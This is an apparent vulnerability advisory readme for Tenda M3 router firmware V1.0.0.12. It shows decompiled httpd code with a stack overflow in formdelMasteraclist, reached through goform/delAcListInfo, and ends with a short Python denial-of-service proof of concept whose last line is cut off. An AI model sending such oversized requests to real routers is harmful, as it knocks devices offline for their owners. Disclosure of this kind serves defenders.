d1tto add Tenda M3 ... on May 27 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: https://www.tenda.com.cn/product/M3.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory `/bin` has a stack overflow vulnerability. The vulnerability occurrs in the `formdelMasteraclist` function, which can be accessed via the URL `goform/delAcListInfo` .

```
int __fastcall formdelMasteraclist(_DWORD *a1)
{
  char v3[1024]; // [sp+10h] [bp-71Ch] BYREF
  void *ptr; // [sp+410h] [bp-31Ch] BYREF
  int s[193]; // [sp+414h] [bp-318h] BYREF
  int v6; // [sp+718h] [bp-14h]
  char *v7; // [sp+71Ch] [bp-10h]

  ptr = 0;
  memset(v3, 0, sizeof(v3));
  v7 = v3;
  memset(s, 0, sizeof(s));
  v6 = websGetVar(a1, "items", " ");
  sub_53778(v6, s);
  *((_WORD *)v7 + 2) = 120;
  *((_WORD *)v7 + 3) = s[0];
  *((_DWORD *)v7 + 4) = 6 * s[0];
  memcpy(v7 + 20, &s[1], 6 * s[0]);
  cgi_send_and_recv_msg(v7, &ptr);
```

function `formdelMasteraclist` gets the POST parameter `items` and passes it to function `sub_53778` as the first argument.

```
char *__fastcall sub_53778(char *result, int *a2)
{
  int v2; // r5
  int nptr[8]; // [sp+10h] [bp-54h] BYREF
  int v5[8]; // [sp+30h] [bp-34h] BYREF
  char *v6; // [sp+50h] [bp-14h]
  char *v7; // [sp+54h] [bp-10h]

  v7 = 0;
  v5[0] = 0;
  v5[1] = 0;
  v5[2] = 0;
  v5[3] = 0;
  v5[4] = 0;
  v5[5] = 0;
  v5[6] = 0;
  v5[7] = 0;
  nptr[0] = 0;
  nptr[1] = 0;
  nptr[2] = 0;
  nptr[3] = 0;
  nptr[4] = 0;
  nptr[5] = 0;
  nptr[6] = 0;
  nptr[7] = 0;
  v6 = 0;
  if ( result )
  {
    result = strtok(result, ",");
    v7 = result;
    if ( result )
    {
      printf("str=%s\n", v7);
      result = (char *)sscanf(v7, "%[^:]:%s", v5, nptr);
      v6 = result;
      if ( result == (char *)2 )
      {
        sscanf((const char *)v5, "%u.%u.%u.%u", (char *)a2 + 6, (char *)a2 + 7, a2 + 2, (char *)a2 + 9);
        *((_WORD *)a2 + 2) = atoi((const char *)nptr);
        for ( *a2 = 1; ; ++*a2 )
        {
          result = strtok(0, ",");
```

This function splits the first argument with a `,` and then splits it into a buffer by calling `sscanf` function without checking its length.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"items": b'A'*0x400 + b':' + b'A'*0x400 + b',',
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/delAcListInfo", data=data, cookies=cook
print(res.content)
```